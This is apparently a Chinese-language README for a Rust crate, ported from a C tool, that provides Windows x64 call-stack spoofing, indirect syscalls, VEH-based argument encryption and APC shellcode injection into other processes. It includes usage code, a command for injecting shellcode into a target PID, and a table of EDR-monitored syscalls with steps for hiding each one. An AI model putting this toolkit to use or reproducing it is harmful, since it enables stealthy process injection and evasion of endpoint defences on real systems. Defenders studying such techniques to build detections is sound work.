Ghost-frame 调用栈欺骗 + 运行时间接系统调用,适用于 Windows x64 — 移植到 Rust。
从 Mohamed Alzhrani (0xmaz) 的 LACUNA Chain (lacuna_chain.c) 移植而来。
lacuna-rs 是一个可复用的 Rust crate,提供与原始 C TTP 相同的原语,结构设计使其可以轻松嵌入任何 Rust 项目 —— 类似于 wsyscall-rs 或 syscalls-rs,但具备运行时 SSN 解析、每个函数的 syscall;ret 定位以及幽灵帧栈欺骗。
如果使用 crate 的项目未编译帧指针,
stack-spoof功能将静默失效。
chain.rs 中的栈覆盖原语通过 mov rbp, {x} 内联汇编定位调用者的返回地址槽。这要求 RBP 链保持完整。Rust(以及大多数发布模式编译器)默认省略帧指针。
build.rs 为该 crate 自身的代码生成设置了 force-frame-pointers=yes,但 Cargo 无法将编译器标志传播到下游 crate。 您必须在自己项目的配置中添加:
# .cargo/config.toml (在 YOUR crate 中,而非 lacuna-rs 中)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
没有这个设置,stomp_plant() 将从 RBP 读取垃圾数据,导致无操作(最好情况)或损坏栈(最坏情况)。该 crate 无法在运行时检测帧指针是否启用 —— 它只会不工作。
如果您只需要扫描、SSN 解析或注入原语(不需要栈欺骗),则可以省略 stack-spoof 功能,此要求不适用。
| 原语 | C 函数 | Rust 模块 |
|---|---|---|
| PE 节 + 导出解析 | pe_section(), pe_export() | pe |
.pdata 幽灵区域扫描 | scan_ghosts(), best_ghost() | scan |
幽灵 gadget 发现 (jmp [rbx]) | scan_ghost_gadgets() | scan |
win32u NOP-gap 查找器 | win32u_nop_gap() | scan |
| BYOUD-MF 锚点查找器 | find_mf_target() | scan |
| SSN 解析(Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
每个函数的 syscall;ret 定位器 | find_func_syscall() | nt |
| JIT 间接系统调用桩发射 | alloc_stub() | stub |
| 幽灵 gadget 桩重定向 | (位于 alloc_stub() 中) | stub |
| VEH + 硬件断点参数加密 | param_encrypt_veh(), pcrypt_arm() | veh |
| 链保护 VEH | chain_veh() | veh |
| LACUNA 链构建 | build_chain() | chain |
| 栈覆盖(BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| 链行走器(验证) | lacuna_walk_chain() | chain |
| 基于节的 APC 注入 | do_inject_sapc() | inject |
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
| 特性 | 描述 | 需要帧指针? |
|---|---|---|
syscalls (默认) | SSN 解析 + JIT 桩发射 | 否 |
inject (默认) | 基于节的 APC 注入 (inject::inject_sapc) | 否 |
veh | VEH + 硬件断点参数加密 | 否 |
stack-spoof | LACUNA 幽灵帧链 + 栈覆盖 | 是 |
no-std | no_std 模式(实验性) | 否 |
当没有启用任何特性时,仅提供扫描/PE/NT 层。
cargo run --example scan
cargo run --example verify --features stack-spoof
使用真实植入物的注入示例 - C2 离线但 Shellcode 已执行
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
添加 --verbose 以启用 VEH 诊断输出(栈转储、寄存器打印):
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
inject_sapc 不是向目标进程中的每个线程都排队 APC(当过多线程同时被通知时可能导致进程崩溃),而是使用评分算法选择最佳的 MAX_APC_THREADS(5)个候选:
NtQueryInformationThread(ThreadCycleTime) — 主要活动指标NtQueryInformationThread(ThreadTimes) — 内核 + 用户时间NtQueryInformationThread(ThreadSuspendCount) — 未挂起线程获得 +300 奖励;每个挂起计数的线程获得 -150 惩罚NtQueryInformationThread(ThreadBasicInformation) — 优先级 8-10 的线程获得 +150 奖励;范围外的优先级获得 -100 惩罚完全空闲的线程(零周期和零 CPU 时间)将被跳过。剩余的候选者按分数排序(从高到低,平局时依据周期数),并截取前 5 个。
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// 扫描幽灵区域
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("ntdll 中有 {} 个幽灵区域", n);
// 解析特定函数的 SSN + syscall;ret
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// 解析 SSN + 函数自身的 syscall;ret 地址
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT 发射桩:mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (如果调用了 build_chain,则变为 jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret)
let stub = stub::make_stub(ssn, syscall_ret).expect("桩分配失败");
// 转换为匹配的函数指针类型并调用
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// 扫描 ntdll/kernelbase/wow64/win32u 以获取幽灵区域并构建
// 六层假调用栈。设置 G_GHOST_GADGET,使桩通过已签名 DLL 中的 JMP [RBX] 路由。
lacuna::chain::build_chain();
// 注册 VEH 处理程序(参数加密 + 链保护)
let _veh = lacuna::veh::VehGuard::register().expect("VEH 注册失败");
// 可选:在运行时启用详细诊断
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// 种植幽灵帧(用已签名 DLL 的幽灵替换返回地址)
lacuna::chain::stomp_plant();
// 在 syscall;ret 上装备 DR0 —— VEH 将在边界处 XOR 解密参数
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// 通过间接桩调用 —— RIP 将位于 ntdll 的内核入口处
let _status = unsafe { open_proc(/* XOR 加密的参数 */) };
// 在任何非保护调用之前始终解除装备
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
并非每个 API 调用都需要完整的 LACUNA 处理。关键原则是:隐藏那些 EDR 会关联为注入或后利用活动痕迹的调用。
这些是 EDR 挂钩并关联的“皇冠上的明珠”NT 系统调用:
| 调用 | 为何敏感 |
|---|---|
NtOpenProcess | 打开另一个进程的句柄 —— 注入的第一步 |
NtCreateSection + NtMapViewOfSection (远程) | 基于节的注入签名 |
NtWriteVirtualMemory | 跨进程写入 —— 经典注入指示器 |
NtCreateThreadEx | 远程线程创建 —— 最高信号的注入原语 |
NtQueueApcThread | APC 注入 —— 高信号 |
NtProtectVirtualMemory | RWX 权限更改 —— shellcode 暂存指示器 |
NtAllocateVirtualMemory (远程) | 远程分配 —— 注入前奏 |
NtSetInformationThread | 线程隐藏 (HideFromDebugger) —— 逃避指示器 |
对于以上每个调用:
nt::resolve(ntdll, b"NtXxx\0") 解析stub::make_stub(ssn, syscall_ret) 发射桩veh::pcrypt_arm(key, syscall_ret, true) 对敏感参数进行 XOR 加密chain::stomp_plant() 和 chain::stomp_restore() 之间| 调用 | 为何安全 |
|---|---|
NtQueryInformationThread | 仅查询,很少被挂钩,无跨进程写入 |
NtDelayExecution | 休眠 —— 良性,每个应用程序都在使用 |
NtClose | 关闭句柄 —— 良性,极为常见 |
GetModuleHandleA / GetProcAddress | 模块解析 —— 不是系统调用,EDR 用户态挂钩无法挂钩 |
CreateToolhelp32Snapshot / Thread32First / Thread32Next | 线程枚举 —— kernel32,不是 ntdll 系统调用 |
OpenThread / CloseHandle | 标准句柄操作 —— kernel32 |
GetThreadContext / SetThreadContext | 需要用于 DR0 —— kernel32,仅自进程 |
nt::resolve(ntdll, b"NtXxx\0") —— 返回 (SSN, syscall_ret_VA)。stub::make_stub(ssn, syscall_ret) —— 返回可调用的函数指针。extern "system" fn(...) 类型,使用 core::mem::transmute。chain::build_chain() 构建幽灵帧链,并在调用前后调用 chain::stomp_plant() / chain::stomp_restore()。veh::pcrypt_arm(key, syscall_ret, true) 装备参数加密,调用后使用 veh::pcrypt_disarm()。lc!() 包裹 —— crate 强制执行此规则,VEH 诊断受 set_verbose(true) 控制,默认关闭。桩自动处理 mov r10, rcx / mov eax, SSN / jmp [syscall;ret] 序列。如果注册了幽灵 gadget,桩将通过 JMP [RBX] 路由,实现双重用途的执行重定向 + 零痕迹桥帧。
来自 LACUNA Chain 技术文章 的 9 项关键贡献均在代码中体现: